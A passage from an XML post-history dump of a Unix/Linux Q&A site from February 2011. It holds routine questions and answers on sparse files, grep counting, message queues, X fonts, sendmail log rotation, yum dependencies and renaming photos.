lot of servers and using a lot of non standard software or other custom setups on the box, please pick RHEL/CentOS. I have never had an update break anything on RHEL/CentOS. I have boxes several hundred miles from me with very limited access that happily run automatic security updates and have never caused an issue with my customizations. Can't say the same for Ubuntu. &#xD;&#xA;&#xD;&#xA;Spend time with both, see what you like and what fits with your specific needs. " />
  <row Id="16103" PostHistoryTypeId="6" PostId="6945" RevisionGUID="af4a548f-1dae-40ee-b2f8-32feb7969890" CreationDate="2011-02-06T14:25:39.727" UserId="3069" Comment="edited tags" Text="éubuntuàécentosàérhelàéserverà" />
  <row Id="16104" PostHistoryTypeId="2" PostId="6978" RevisionGUID="303e2668-3c20-41e3-8cda-9beaa2b78c40" CreationDate="2011-02-06T14:59:35.297" UserId="1627" Text="I have a sparse file, in which only some blocks are allocated:&#xD;&#xA;&#xD;&#xA;    ~% du -h --apparent-size example&#xD;&#xA;    100K    example&#xD;&#xA;    ~% du -h example&#xD;&#xA;    52K     example&#xD;&#xA;&#xD;&#xA;I would like to know which blocks of the file are actually allocated. Is there a system call or kernel interface that could be used to get a list of either the allocations, or the holes of file?&#xD;&#xA;&#xD;&#xA;Simply checking for a long enough string of zeros (the approach used by GNU cp, rsync, etc) does not work correctly:&#xD;&#xA;&#xD;&#xA;    ~% cp example example1  &#xD;&#xA;    ~% du -h example1 &#xD;&#xA;    32K     example1&#xD;&#xA;&#xD;&#xA;It detected other sequences of zeros that were actually allocated." />
  <row Id="16105" PostHistoryTypeId="1" PostId="6978" RevisionGUID="303e2668-3c20-41e3-8cda-9beaa2b78c40" CreationDate="2011-02-06T14:59:35.297" UserId="1627" Text="Detailed sparse file information on Linux" />
  <row Id="16106" PostHistoryTypeId="3" PostId="6978" RevisionGUID="303e2668-3c20-41e3-8cda-9beaa2b78c40" CreationDate="2011-02-06T14:59:35.297" UserId="1627" Text="élinuxàésparseöfilesà" />
  <row Id="16107" PostHistoryTypeId="2" PostId="6979" RevisionGUID="3fc5aedb-78aa-40b3-8ab2-976f57bcad45" CreationDate="2011-02-06T15:21:04.290" UserId="4518" Text="`grep -c` is useful for finding how many times a string occurs in a file, but it only counts each occurence once per line. How to count multiple occurences per line?&#xD;&#xA;&#xD;&#xA;I'm looking for something more elegant than:&#xD;&#xA;&#xD;&#xA;    perl -e '$_ = &lt;&gt;; print scalar ( () = m/needle/g ), &quot;\n&quot;'" />
  <row Id="16108" PostHistoryTypeId="1" PostId="6979" RevisionGUID="3fc5aedb-78aa-40b3-8ab2-976f57bcad45" CreationDate="2011-02-06T15:21:04.290" UserId="4518" Text="grep multiple times per line" />
  <row Id="16109" PostHistoryTypeId="3" PostId="6979" RevisionGUID="3fc5aedb-78aa-40b3-8ab2-976f57bcad45" CreationDate="2011-02-06T15:21:04.290" UserId="4518" Text="égrepà" />
  <row Id="16110" PostHistoryTypeId="5" PostId="6966" RevisionGUID="0c4db753-0aea-49bc-bc5e-8c50f5c52ec8" CreationDate="2011-02-06T15:28:59.707" UserId="3976" Comment="typo; deleted 1 characters in body" Text="No, your changes won't be in the new initrd.  The CentOS kernel packages have a post-script that runs `/sbin/new-kernel-pkg --package kernel --mkinitrd --depmod --install 2.6.18-238.1.1.el5` (an example from the RHEL5 kernel I have installed).&#xD;&#xA;&#xD;&#xA;The command will run mkinitrd, which will build a new initrd, and the changes that you made to the previous initrd won't be created there, unless you've also changed the mkinitrd script or its files (or you patched nash or something like that)." />
  <row Id="16112" PostHistoryTypeId="2" PostId="6981" RevisionGUID="0d10dcd6-1bbd-4de1-82dd-6ea08a9df31b" CreationDate="2011-02-06T15:38:25.310" UserId="3389" Text="System calls are handled directly by the kernel.&#xD;&#xA;&#xD;&#xA;Library calls are handled by a dynamic library.  The program making the library call must first import that library, before the call will work.  The library calls themselves may use system calls.&#xD;&#xA;&#xD;&#xA;Sometimes libraries are provided as &quot;front-ends&quot; to system calls, to provide extra functionality or ease of use not provided by the kernel.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16113" PostHistoryTypeId="5" PostId="6179" RevisionGUID="baad2f33-740f-45a5-97c1-f361d9ffc2cc" CreationDate="2011-02-06T15:40:55.723" UserId="665" Comment="added 14 characters in body" Text="Anyone know how to disable this annoying hover info in Amarok 2.4? I browsed through all the options (not that there is much of them), but couldn't find how to turn that feature off... It's getting in the way when hovering over songs with your mouse and really is not necessary.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="16114" PostHistoryTypeId="2" PostId="6982" RevisionGUID="6a8e2aeb-b64d-4812-9695-36ca3608c074" CreationDate="2011-02-06T15:41:36.113" UserId="3976" Text="Your example only prints out the number of occurrences per-line, and not the total in the file.  If that's what you want, something like this might work:&#xD;&#xA;&#xD;&#xA;    perl -nle '$c+=scalar(()=m/needle/g);END{print $c}' &#xD;&#xA;" />
  <row Id="16115" PostHistoryTypeId="2" PostId="6983" RevisionGUID="68293f96-ee7f-4c7e-afc0-1aaae7cddd89" CreationDate="2011-02-06T15:45:49.333" UserId="665" Text="After a system (as well as KDE) update, I got this blue panel glow which appears on hover.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;I browsed through system settings, panel settings, desktop settings, but couldn't find an option to change/remove this blue glow. Did anyone else encounter this problem? Where should I look?&#xD;&#xA;&#xD;&#xA;I also tried [this][2], but it didn't help.&#xD;&#xA;&#xD;&#xA;I use Arch, but don't think it matters much in this case...&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/ZoeFZ.jpg&#xD;&#xA;  [2]: http://forum.kde.org/viewtopic.php?f=17&amp;t=90248" />
  <row Id="16116" PostHistoryTypeId="1" PostId="6983" RevisionGUID="68293f96-ee7f-4c7e-afc0-1aaae7cddd89" CreationDate="2011-02-06T15:45:49.333" UserId="665" Text="How to change/remove blue panel glow in KDE4.6?" />
  <row Id="16117" PostHistoryTypeId="3" PostId="6983" RevisionGUID="68293f96-ee7f-4c7e-afc0-1aaae7cddd89" CreationDate="2011-02-06T15:45:49.333" UserId="665" Text="ékdeàéappearanceà" />
  <row Id="16118" PostHistoryTypeId="2" PostId="6984" RevisionGUID="7c88c144-b6a2-45ee-b70a-1bfaec816801" CreationDate="2011-02-06T15:47:20.713" UserId="4520" Text="It depends on the file system. I don't believe their is a call, which may be why many tools don't handle copying sparse files well.  The GNU tool chain use searching for large blocks of zeros as that allows them to remove unused allocated blocks.  Many copy tools will convert a sparse file into a file with all blocks allocated. &#xD;&#xA;&#xD;&#xA;You will likely have to open the inode, and parse the result.  Inode format is file system dependent.  Some file systems may have part of your data in the inode itself.  " />
  <row Id="16119" PostHistoryTypeId="5" PostId="6950" RevisionGUID="bd04569c-d21b-4266-af23-bee364534a38" CreationDate="2011-02-06T15:49:13.237" UserId="4495" Comment="added 26 characters in body" Text="Hi,&#xD;&#xA;&#xD;&#xA;The KDE install on my PC includes IBus and the Japanese Anthy IME.  In the IBus preference, I have enabled the Anthy IME.  The IBus daemon is running and there is an IBus icon in the system tray, however, there does not appear to be any way of switching IMEs.&#xD;&#xA;&#xD;&#xA;This is on PC-BSD 8.2.&#xD;&#xA;&#xD;&#xA;What am I doing wrong here?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="16120" PostHistoryTypeId="5" PostId="6976" RevisionGUID="b45bbf60-f29d-4f87-b757-c823877120d4" CreationDate="2011-02-06T16:02:21.527" UserId="838" Comment="added 3 characters in body" Text="* If you are starting your X anyways .. all the time .. then there is no point in repeating `startx` manually over and over again.&#xD;&#xA;&#xD;&#xA;* If you use *DM, you can use a program to lock the screen and go away from the machine.  &#xD;&#xA;If you do not use *DM but just launch your xsession via `startx` you have to lock your xsession AND you have to lock your console. otherwise a person can &lt;kbd&gt;alt&lt;/kbd&gt;&lt;kbd&gt;fN&lt;/kbd&gt; and take over your account.&#xD;&#xA;&#xD;&#xA;* *DM can be configured so that people can attach remotly to that *DM. http://www.faqs.org/docs/Linux-mini/XDM-Xterm.html#XDM&#xD;&#xA;&#xD;&#xA;Other than that: you don't lose anything.&#xD;&#xA;&#xD;&#xA;Regarding &quot;want to become better at CLI&quot;: X is (mostly as a joke) considered a great xterm multiplexer to give the muser more space to improve his CLI skills :) I do not consider that as a valid argument against a X session, does not matter if triggered by *DM or by `startx`." />
  <row Id="16121" PostHistoryTypeId="2" PostId="6985" RevisionGUID="4dca80c5-3dee-4c13-8757-4e5218de9395" CreationDate="2011-02-06T16:27:46.683" UserId="3069" Text="grep's `-o` will only output the matches, ignoring lines; `wc` can count them:&#xD;&#xA;&#xD;&#xA;    grep -o 'needle' file | wc -l&#xD;&#xA;&#xD;&#xA;This will also match 'needles' or 'multineedle'.  &#xD;&#xA;Only single words:&#xD;&#xA;&#xD;&#xA;    grep -o '\bneedle\B' file | wc -l&#xD;&#xA;    # or:&#xD;&#xA;    grep -o '\&lt;needle\&gt;' file | wc -l" />
  <row Id="16122" PostHistoryTypeId="5" PostId="6935" RevisionGUID="a8ea2e8c-c5f2-4870-bd0f-bd1ec59031c6" CreationDate="2011-02-06T16:34:43.667" UserId="3069" Comment="added 15 characters in body" Text="The Linux kernel (2.6) implements two message queues:   &#xD;&#xA;&lt;sub&gt;(rather 'message lists', as the implementation is done by using a linked list not strictly following the FIFO principle)&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;**System V IPC messages**&#xD;&#xA;&#xD;&#xA;The message queue from System V.&#xD;&#xA;&#xD;&#xA;A process can invoke `msgsnd()` to send a message. He needs to pass the IPC identifier of the receiving message queue, the size of the message and a message structure, including the message type and text.&#xD;&#xA;&#xD;&#xA;On the other side, a process invokes `msgrcv()` to receive a message, passing the IPC identifier of the message queue, where the message should get stored, the size and a value *t*.&#xD;&#xA;&#xD;&#xA;*t* specifies the message returned from the queue, a positive value means the first message with its type equal to *t* is returned, a negative value returns the last message equal to type *t* and zero returns the first message of the queue.&#xD;&#xA;&#xD;&#xA;Those functions are defined in [include/linux/msg.h][1] and implemented in [ipc/msg.c][2]&#xD;&#xA;&#xD;&#xA;There are limitations upon the size of a message (max), the total number of messages (mni) and the total size of all messages in the queue (mnb): &#xD;&#xA;&#xD;&#xA;    $ sysctl kernel.msg{max,mni,mnb}&#xD;&#xA;    kernel.msgmax = 8192&#xD;&#xA;    kernel.msgmni = 1655&#xD;&#xA;    kernel.msgmnb = 16384&#xD;&#xA;&#xD;&#xA;The output above is from a Ubuntu 10.10 system, the defaults are defined in [msg.h][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;More incredibly old System V message queue stuff explained [here][4].&#xD;&#xA;&#xD;&#xA;**POSIX Message Queue**&#xD;&#xA;&#xD;&#xA;The POSIX standard defines a message queue mechanism based on System V IPC's message queue, extending it by some functionalities:&#xD;&#xA;&#xD;&#xA; - Simple file-based interface to the application&#xD;&#xA; - Support for message priorities&#xD;&#xA; - Support for asynchronous notification&#xD;&#xA; - Timeouts for blocking operations&#xD;&#xA;&#xD;&#xA;See [ipc/mqueue.c][5]&#xD;&#xA;&#xD;&#xA;**Example**&#xD;&#xA;&#xD;&#xA;`util-linux` provides some programs for analyzing and modifying message queues and the POSIX specification gives some C examples:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Create a message queue with `ipcmk`; generally you would do this by calling C functions like `ftok()` and `msgget()`:&#xD;&#xA;&#xD;&#xA;    $ ipcmk -Q&#xD;&#xA;&#xD;&#xA;Lets see what happened by using `ipcs` or with a `cat /proc/sysvipc/msg`:&#xD;&#xA;&#xD;&#xA;    $ ipcs -q&#xD;&#xA;&#xD;&#xA;    ------ Message Queues --------&#xD;&#xA;    key        msqid      owner      perms      used-bytes   messages    &#xD;&#xA;    0x33ec1686 65536      user       644        0            0           &#xD;&#xA;&#xD;&#xA;Now fill the queue with some messages:&#xD;&#xA;&#xD;&#xA;    $ cat &lt;&lt;EOF &gt;msg_send.c&#xD;&#xA;    #include &lt;string.h&gt;&#xD;&#xA;    #include &lt;sys/msg.h&gt; &#xD;&#xA;    &#xD;&#xA;    int main() {&#xD;&#xA;      int msqid = 65536;&#xD;&#xA;      struct message {&#xD;&#xA;        long type;&#xD;&#xA;        char text[20];&#xD;&#xA;      } msg;&#xD;&#xA;&#xD;&#xA;      msg.type = 1;&#xD;&#xA;      strcpy(msg.text, &quot;This is message 1&quot;);&#xD;&#xA;      msgsnd(msqid, (void *) &amp;msg, sizeof(msg.text), IPC_NOWAIT);&#xD;&#xA;      strcpy(msg.text, &quot;This is message 2&quot;);&#xD;&#xA;      msgsnd(msqid, (void *) &amp;msg, sizeof(msg.text), IPC_NOWAIT);&#xD;&#xA;&#xD;&#xA;      return 0;&#xD;&#xA;    }&#xD;&#xA;    EOF&#xD;&#xA;    &#xD;&#xA;Again, you generally do not hardcode the msqid in the code.&#xD;&#xA;&#xD;&#xA;    $ gcc -o msg_send msg_send.c&#xD;&#xA;    $ ./msg_send&#xD;&#xA;    $ ipcs -q&#xD;&#xA;&#xD;&#xA;    ------ Message Queues --------&#xD;&#xA;    key        msqid      owner      perms      used-bytes   messages    &#xD;&#xA;    0x33ec1686 65536      user       644        40           2        &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And the other side, which will be receiving the messages:&#xD;&#xA;&#xD;&#xA;    $ cat &lt;&lt;EOF &gt;msg_recv.c&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;sys/msg.h&gt;&#xD;&#xA;    &#xD;&#xA;    int main() {&#xD;&#xA;      int msqid = 65536;&#xD;&#xA;      struct message {&#xD;&#xA;        long type;&#xD;&#xA;        char text[20];&#xD;&#xA;      } msg;&#xD;&#xA;      long msgtyp = 0;&#xD;&#xA;&#xD;&#xA;      msgrcv(msqid, (void *) &amp;msg, sizeof(msg.text), msgtyp, MSG_NOERROR | IPC_NOWAIT);&#xD;&#xA;      printf(&quot;%s \n&quot;, msg.text);&#xD;&#xA;&#xD;&#xA;      return 0;&#xD;&#xA;    }&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;See what happens:&#xD;&#xA;&#xD;&#xA;    $ gcc -o msg_recv msg_recv.c&#xD;&#xA;    $ ./msg_recv&#xD;&#xA;    This is message 1&#xD;&#xA;    $ ./msg_recv&#xD;&#xA;    This is message 2&#xD;&#xA;    $ ipcs -q&#xD;&#xA;&#xD;&#xA;    ------ Message Queues --------&#xD;&#xA;    key        msqid      owner      perms      used-bytes   messages    &#xD;&#xA;    0x33ec1686 65536      user       644        0            0           &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After two receives, the queue is empty again.&#xD;&#xA;&#xD;&#xA;Remove it afterwards by specifying the key (`-Q`) or msqid (`-q`):&#xD;&#xA;&#xD;&#xA;    $ ipcrm -q 65536&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lxr.linux.no/#linux+v2.6.37/include/linux/msg.h&#xD;&#xA;  [2]: http://lxr.linux.no/#linux+v2.6.37/ipc/msg.c&#xD;&#xA;  [3]: http://lxr.linux.no/#linux+v2.6.37/include/linux/msg.h&#xD;&#xA;  [4]: http://tldp.org/LDP/lpg/node27.html&#xD;&#xA;  [5]: http://lxr.linux.no/#linux+v2.6.37/ipc/mqueue.c" />
  <row Id="16123" PostHistoryTypeId="25" PostId="6978" RevisionGUID="9855e9d5-d4c9-4630-b1f5-9d687b6285c6" CreationDate="2011-02-06T17:16:29.963" Comment="http://twitter.com/#!/StackUnix/status/34299404080910336" />
  <row Id="16124" PostHistoryTypeId="2" PostId="6986" RevisionGUID="a8c96e5c-9baa-4de7-9e0d-6c92df37880e" CreationDate="2011-02-06T17:20:09.403" UserId="305" Text="From what I understand the primary cause of fork/branch of EGLIBC as compared to GLIBC was the problem with patches for ARM that Debian devs wanted to push upstream.&#xD;&#xA;&#xD;&#xA;I have slightly different question - is there any significant difference for relatively fat (as compared to embedded platforms) x86-64 machines?" />
  <row Id="16125" PostHistoryTypeId="1" PostId="6986" RevisionGUID="a8c96e5c-9baa-4de7-9e0d-6c92df37880e" CreationDate="2011-02-06T17:20:09.403" UserId="305" Text="EGLIBC vs GLIBC on laptops" />
  <row Id="16126" PostHistoryTypeId="3" PostId="6986" RevisionGUID="a8c96e5c-9baa-4de7-9e0d-6c92df37880e" CreationDate="2011-02-06T17:20:09.403" UserId="305" Text="élinuxàélibrariesàéglibcà" />
  <row Id="16128" PostHistoryTypeId="2" PostId="6988" RevisionGUID="a643cdf2-608d-4e09-a05d-4e97548f19de" CreationDate="2011-02-06T17:54:49.857" UserId="1375" Text="I would like to setup a Linux system with ScrotWM as the window manager, but I noticed that X is aware of only a few fonts. I would like to have UTF-8 fonts that support multiple languages, including Asian languages like Japanese and Traditional Chinese.&#xD;&#xA;How do I install fonts so that X can show them? What kind of fonts would they be? And will the fonts be universally available to other programs like Firefox or OpenOffice once I install them? Or will applications maintain separate groups of fonts for their own use?&#xD;&#xA;Thanks." />
  <row Id="16129" PostHistoryTypeId="1" PostId="6988" RevisionGUID="a643cdf2-608d-4e09-a05d-4e97548f19de" CreationDate="2011-02-06T17:54:49.857" UserId="1375" Text="How to install fonts for X?" />
  <row Id="16130" PostHistoryTypeId="3" PostId="6988" RevisionGUID="a643cdf2-608d-4e09-a05d-4e97548f19de" CreationDate="2011-02-06T17:54:49.857" UserId="1375" Text="élinuxàéxorgàéfontsàéutf8àélanguageà" />
  <row Id="16131" PostHistoryTypeId="2" PostId="6989" RevisionGUID="8ea001ac-2f36-4f31-90d6-a0e0b1974c9c" CreationDate="2011-02-06T18:49:24.863" UserId="3886" Text="To add fonts while X server is running use command:&#xD;&#xA;&#xD;&#xA;    xset fp+ /path/to/dir/with/fonts/&#xD;&#xA;&#xD;&#xA;And, if needed:&#xD;&#xA;&#xD;&#xA;    xset fp rehash&#xD;&#xA;&#xD;&#xA;To make this permanent add `FontPath` line to your xorg.conf" />
  <row Id="16132" PostHistoryTypeId="2" PostId="6990" RevisionGUID="216b6ec4-6207-43af-ac66-49d901c40862" CreationDate="2011-02-06T19:15:49.270" UserId="4524" Text="I want to rotate my maillog, but I want to make sure the newly rotated log contains the last 2M lines from the previous log:&#xD;&#xA;&#xD;&#xA;		# write the last 2M lines to a new log&#xD;&#xA;		tail -n 2000000 /var/log/maillog &gt; /var/log/maillog.new&#xD;&#xA;&#xD;&#xA;		# move the existing log to datestamped backup&#xD;&#xA;		datestamp=`date &quot;+%Y%m%d&quot;`&#xD;&#xA;		mv /var/log/maillog /var/log/maillog.$datestamp&#xD;&#xA;&#xD;&#xA;		# move the new log to normal log&#xD;&#xA;		mv /var/log/maillog.new /var/log/maillog&#xD;&#xA;&#xD;&#xA;		# tell sendmail to reload&#xD;&#xA;		killall -HUP sendmail&#xD;&#xA;&#xD;&#xA;This all works, except for the fact that sendmail continues to write to the backup log file &quot;maillog.yyyymmdd&quot; instead of the proper &quot;maillog&quot;!&#xD;&#xA;&#xD;&#xA;What is the correct way to do this without having to stop sendmail first, rotate, then start again?&#xD;&#xA;&#xD;&#xA; " />
  <row Id="16133" PostHistoryTypeId="1" PostId="6990" RevisionGUID="216b6ec4-6207-43af-ac66-49d901c40862" CreationDate="2011-02-06T19:15:49.270" UserId="4524" Text="How to make sendmail write to new maillog" />
  <row Id="16134" PostHistoryTypeId="3" PostId="6990" RevisionGUID="216b6ec4-6207-43af-ac66-49d901c40862" CreationDate="2011-02-06T19:15:49.270" UserId="4524" Text="élogsàésendmailàélogrotateà" />
  <row Id="16135" PostHistoryTypeId="2" PostId="6991" RevisionGUID="61e4d8fe-7d35-4f06-9234-b71a64146c0c" CreationDate="2011-02-06T19:27:39.807" UserId="3886" Text="Usually maillog written by `syslogd`, not by `sendmail` itself, so you should send SIGHUP to `syslogd`" />
  <row Id="16136" PostHistoryTypeId="2" PostId="6992" RevisionGUID="af834179-724f-49d7-bcc6-53b5ceb05c09" CreationDate="2011-02-06T19:40:28.640" UserId="1535" Text="When running vim under GNU screen, I'm finding that combinations of &lt;kbd&gt;CTRL&lt;/kbd&gt; with the arrow and Pg* keys don't work as expected.&#xD;&#xA;&#xD;&#xA;I'm using the Ubuntu 10.10 `vim-gnome` package.&#xD;&#xA;&#xD;&#xA;On a different machine, also running Ubuntu, this did work without problems; unfortunately I don't have that configuration available to me now.&#xD;&#xA;&#xD;&#xA;There is a related question here: http://unix.stackexchange.com/questions/1709/how-to-fix-ctrl-arrows-in-vim&#xD;&#xA;&#xD;&#xA;However, the suggested solution there is to remap vim's keybindings to work with the terminal emulator, in that case PuTTY.  I don't recall doing anything of the sort, and suspect that there is a screen configuration option which will resolve this issue.&#xD;&#xA;&#xD;&#xA;There's also a [thread](http://old.nabble.com/Problem-with-GNU-Screen-when-using-control-%2B-right-left-arrows-td26678971.html) on the gnu-screen mailing list which suggests that running vim via `$ TERM=xterm vim` is an appropriate fix or workaround.  This does work, but I'm a bit concerned that there might be side effects.  It also doesn't sound familiar enough to be the solution I set up on the other machine (if a solution was necessary)." />
  <row Id="16137" PostHistoryTypeId="1" PostId="6992" RevisionGUID="af834179-724f-49d7-bcc6-53b5ceb05c09" CreationDate="2011-02-06T19:40:28.640" UserId="1535" Text="Fixing CTRL-* in vim under GNU screen" />
  <row Id="16138" PostHistoryTypeId="3" PostId="6992" RevisionGUID="af834179-724f-49d7-bcc6-53b5ceb05c09" CreationDate="2011-02-06T19:40:28.640" UserId="1535" Text="éubuntuàévimàéscreenà" />
  <row Id="16141" PostHistoryTypeId="25" PostId="6986" RevisionGUID="5351c19f-967a-471d-b212-7c6879e74d85" CreationDate="2011-02-06T20:16:30.120" Comment="http://twitter.com/#!/StackUnix/status/34344703478468608" />
  <row Id="16142" PostHistoryTypeId="2" PostId="6993" RevisionGUID="af411ae2-7df4-43a7-bbbe-8022f520f1f1" CreationDate="2011-02-06T20:33:43.923" UserId="688" Text="GParted 0.7.0 is less than ideal, so am looking for something else. Is there a credible alternative?" />
  <row Id="16143" PostHistoryTypeId="1" PostId="6993" RevisionGUID="af411ae2-7df4-43a7-bbbe-8022f520f1f1" CreationDate="2011-02-06T20:33:43.923" UserId="688" Text="Is there a GUI alternative to GParted?" />
  <row Id="16144" PostHistoryTypeId="3" PostId="6993" RevisionGUID="af411ae2-7df4-43a7-bbbe-8022f520f1f1" CreationDate="2011-02-06T20:33:43.923" UserId="688" Text="ésoftwareörecàépartitionà" />
  <row Id="16145" PostHistoryTypeId="2" PostId="6994" RevisionGUID="522e90b0-4574-434b-b133-e8049d7bf2b6" CreationDate="2011-02-06T20:43:47.450" UserId="29" Text="The blue glow is not an effect, it's part of the Desktop theme. Don't use the **Oxygen** or a few other desktop themes. **Aya** should work for you&#xD;&#xA;&#xD;&#xA;![System Settings - Desktop Theme - Aya Selected][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's what the resulting panel looks like, no blue glow&#xD;&#xA;&#xD;&#xA;![kde panel using Aya][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/vmkVs.png&#xD;&#xA;  [2]: http://i.imgur.com/dfyZ2.png" />
  <row Id="16146" PostHistoryTypeId="5" PostId="6967" RevisionGUID="91b66348-da49-42dd-958c-33530ec0147b" CreationDate="2011-02-06T20:51:48.683" UserId="688" Comment="deleted 31 characters in body" Text="I've been wondering lately why do I need GDM, so I got it disabled for the sake of experiment sake by modifying upstart file /etc/init/gdm (I run Ubuntu 10.10 desktop). So now computer boots to command prompt and I just type in startx if I need GUI.&#xD;&#xA;&#xD;&#xA;So far everything runs just fine. But, does anyone know if there are any drawbacks to not using gdm? Would I lose any functionality?&#xD;&#xA;" />
  <row Id="16147" PostHistoryTypeId="2" PostId="6995" RevisionGUID="198bafac-5125-4457-9796-ec7d796da8db" CreationDate="2011-02-06T21:07:52.683" UserId="29" Text="Ok first you want to open your activities (&lt;kbd&gt;SUPER ( Windows )&lt;/kbd&gt;+&lt;kbd&gt;Q&lt;/kbd&gt;) unlock widgets, and create at least one other activity. Make sure that more than one of the activities are not stopped (e.g. red X).&#xD;&#xA;&#xD;&#xA;*(note: Remember the activity that is highlighted is the currently active one, and according to *aseigo* only one can be active at a time, though I haven't found this to be exactly true.)&#xD;&#xA;&#xD;&#xA;![kde activities, with 2 activities enabled][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now right click on the title bar of the window you want to associate with an activity. Go to Activities, and select the activity you want it to be associated with. Please note this dialog is only present if the there are other activites in &quot;not stopped state:&quot; if you stop all but one it won't show the activities dialog. Stopped activities are not shown in this dialog.&#xD;&#xA;&#xD;&#xA;![right click menu bar activities dialog with all activities selected][2]&#xD;&#xA;&#xD;&#xA;*note: only works in 4.6 (or later? activities have changed much over kde 4's lifetime, I actually don't know if they'll work this way in 4.7, I honestly hope they don't, this is not intuitive)*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/sNBsm.png&#xD;&#xA;  [2]: http://i.imgur.com/yspTM.png" />
  <row Id="16148" PostHistoryTypeId="2" PostId="6996" RevisionGUID="87ea0a0a-d368-4e79-a83b-7dbbcad1ccea" CreationDate="2011-02-06T17:28:17.897" UserDisplayName="Sujit" Text="I will ask this with an example - &#xD;&#xA;&#xD;&#xA;I have installed gnash-plugin on fedora 64 bit with Yum. It pulled in following packages - &#xD;&#xA;&#xD;&#xA;      Installing     : agg-2.5-9.fc13.x86_64                                                                                                             1/6 &#xD;&#xA;      Installing     : gtkglext-libs-1.2.0-10.fc12.x86_64                                                                                                2/6 &#xD;&#xA;      Installing     : boost-thread-1.44.0-7.fc14.x86_64                                                                                                 3/6 &#xD;&#xA;      Installing     : boost-date-time-1.44.0-7.fc14.x86_64                                                                                              4/6 &#xD;&#xA;      Installing     : 1:gnash-0.8.8-4.fc14.x86_64                                                                                                       5/6 &#xD;&#xA;      Installing     : 1:gnash-plugin-0.8.8-4.fc14.x86_64                                                                                                6/6 &#xD;&#xA;&#xD;&#xA;Now, I tested the plugin and I didn't like it. I want to remove all these above packages which got installed with the plugin as I don't longer going to need them. How can I do this?&#xD;&#xA;&#xD;&#xA;I checked remove-with-plugin for yum but it pulls in all the packages which are currently depending on the packages.&#xD;&#xA;&#xD;&#xA;I understand the thought process behind showing what packages are getting affected - but I am wondering if there is any way of looking at the history with what package got installed when I installed a certain package.&#xD;&#xA;&#xD;&#xA;When gnash-plugin wasn't there firefox was running fine with but after I installation firefox is now depends on this new plugin.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Has any one worked on differentiating hard-dependencies(hard means the program will break if that package is not there) and soft-dependencies ( soft means the program may not get affected fatally) ?&#xD;&#xA;" />
  <row Id="16149" PostHistoryTypeId="1" PostId="6996" RevisionGUID="87ea0a0a-d368-4e79-a83b-7dbbcad1ccea" CreationDate="2011-02-06T17:28:17.897" UserDisplayName="Sujit" Text="Differentiating between Hard and Soft Dependencies  - Fedora Yum " />
  <row Id="16150" PostHistoryTypeId="3" PostId="6996" RevisionGUID="87ea0a0a-d368-4e79-a83b-7dbbcad1ccea" CreationDate="2011-02-06T17:28:17.897" UserDisplayName="Sujit" Text="élinuxàéubuntuàéfedoraàéyumà" />
  <row Id="16151" PostHistoryTypeId="17" PostId="6996" RevisionGUID="f0152284-7793-4d09-81bc-6cdd2f3c7109" CreationDate="2011-02-06T21:56:31.360" UserId="-1" Comment="from http://askubuntu.com/questions/25076/differentiating-between-hard-and-soft-dependencies-fedora-yum" Text="" />
  <row Id="16152" PostHistoryTypeId="2" PostId="6997" RevisionGUID="c1e01af6-4dd7-44d4-a657-02a9c7a03126" CreationDate="2011-02-06T21:58:42.673" UserId="544" Text="In Ubuntu/Debian land we implement &quot;hard/soft&quot; dependencies by having actual *Depends* but also *Recommends*. We also have *Suggests* which are even softer soft dependencies." />
  <row Id="16153" PostHistoryTypeId="2" PostId="6998" RevisionGUID="58471894-3bf0-488d-a66b-e046a34799d2" CreationDate="2011-02-06T22:02:11.700" UserId="2309" Text="Let's say I have a bunch of photos, all with correct EXIF information, and the photos are randomly named (because of a problem I had). I have a little program called `jhead` which gives me the below output:&#xD;&#xA;&#xD;&#xA;    $ jhead IMG_9563.JPG&#xD;&#xA;&#xD;&#xA;    File name    : IMG_9563.JPG&#xD;&#xA;    File size    : 638908 bytes&#xD;&#xA;    File date    : 2011:02:03 20:25:09&#xD;&#xA;    Camera make  : Canon&#xD;&#xA;    Camera model : Canon PowerShot SX210 IS&#xD;&#xA;    Date/Time    : 2011:02:03 20:20:24&#xD;&#xA;    Resolution   : 1500 x 2000&#xD;&#xA;    Flash used   : Yes (manual)&#xD;&#xA;    Focal length :  5.0mm  (35mm equivalent: 29mm)&#xD;&#xA;    CCD width    : 6.17mm&#xD;&#xA;    Exposure time: 0.0080 s  (1/125)&#xD;&#xA;    Aperture     : f/3.1&#xD;&#xA;    Focus dist.  : 0.29m&#xD;&#xA;    ISO equiv.   : 125&#xD;&#xA;    Exposure bias: -1.67&#xD;&#xA;    Whitebalance : Manual&#xD;&#xA;    Light Source : Daylight&#xD;&#xA;    Metering Mode: pattern&#xD;&#xA;    Exposure Mode: Manual&#xD;&#xA;&#xD;&#xA;Now I need to rename all the photos in the folder in the next format:&#xD;&#xA;&#xD;&#xA;    001.JPG&#xD;&#xA;    002.JPG&#xD;&#xA;    003.JPG&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Where the minor number would be the older image, and the maximum the newer.&#xD;&#xA;&#xD;&#xA;I'm not so good scripting, so I'm asking for help.&#xD;&#xA;&#xD;&#xA;I think a bash script is enough, but if you feel more comfortable, you can write a python script. &#xD;&#xA;&#xD;&#xA;I thought in something like:&#xD;&#xA;&#xD;&#xA;    $ mv IMG_9563.JPG `jhead IMG_9563.JPG | grep date`&#xD;&#xA;&#xD;&#xA;but I don't know how to do that for all the files at 